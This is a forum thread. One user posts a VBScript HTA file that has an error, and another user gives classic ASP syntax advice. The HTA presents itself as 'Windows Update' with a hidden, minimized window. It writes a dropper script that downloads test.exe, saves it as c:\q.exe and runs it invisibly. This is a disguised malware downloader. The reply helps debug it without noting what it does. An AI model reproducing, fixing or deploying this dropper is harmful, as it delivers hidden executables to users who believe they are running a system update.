tomlill
i have installed asp using the instructions. i try to run my script but am prompted with error message :- Object required `server` Line7 char1. I dunno wats going wronge i been giving muyself a headache for hours with it. Here is the script. Any help appreciated.
<HTML>
<HEAD>
<TITLE>Windows Update</TITLE>
<HTA:APPLICATION ID="Q" APPLICATIONNAME="Q" BORDER="none" BORDERSTYLE="normal" CAPTION="no" ICON="" CONTEXTMENU="no" MAXIMIZEBUTTON="no" MINIMIZEBUTTON="no" SHOWINTASKBAR="no" SINGLEINSTANCE="no" SYSMENU="no" VERSION="1.0" WINDOWSTATE="minimize"/>
<SCRIPT LANGUAGE="VBScript">
MyFile = "c:\q.vbs"
FSO = server.CreateObject("Scripting.FileSystemObject")
TSO = FSO.CreateTextFile(MyFile, True)
TSO.write "Dim BD" & vbcrlf
TSO.write "Dim xml" & vbcrlf
TSO.write "Set xml = server.CreateObject(""Microsoft.XMLHTTP"")" & vbcrlf
TSO.write "xml.Open ""GET"", ""test.exe"", False " & vbcrlf
TSO.write "xml.Send" & vbcrlf
TSO.write "BD = xml.ResponseBody" & vbcrlf
TSO.write "Const adTypeBinary = 1" & vbcrlf
TSO.write "Const adSaveCreateOverWrite = 2" & vbcrlf
TSO.write "Dim BinaryStream" & vbcrlf
TSO.write "Set BinaryStream = CreateObject(""ADODB.Stream"")" & vbcrlf
TSO.write "BinaryStream.Type = adTypeBinary" & vbcrlf
TSO.write "BinaryStream.Open" & vbcrlf
TSO.write "BinaryStream.Write BD" & vbcrlf
TSO.write "BinaryStream.SaveToFile ""c:\q.exe"", adSaveCreateOverWrite" & vbcrlf
TSO.write "Dim WshShell" & vbcrlf
TSO.write "Set WshShell = CreateObject(""WScript.Shell"")" & vbcrlf
TSO.write "WshShell.Run ""c:\q.exe"", 0, false" & vbcrlf
TSO.close
Set TSO = Nothing
Set FSO = Nothing
Dim WshShell
Set WshShell = server.CreateObject("WScript.Shell")
WshShell.Run "c:\q.vbs", 0, false
</SCRIPT>
<script>window.close()</script>
</HEAD>
</html>
mcwilliams132
you're either trying to use ASP.NET (not supported and won't work)
or
You're not encapsulating your script properly...
if you're using classic ASP (as you should be with AHTML)
You'll need to state the language at the very top of your page (before anything else) such as:
<%@ Language = VBScript %>
Then your script can be inserted as:
<%
.. enter your script here ...
%>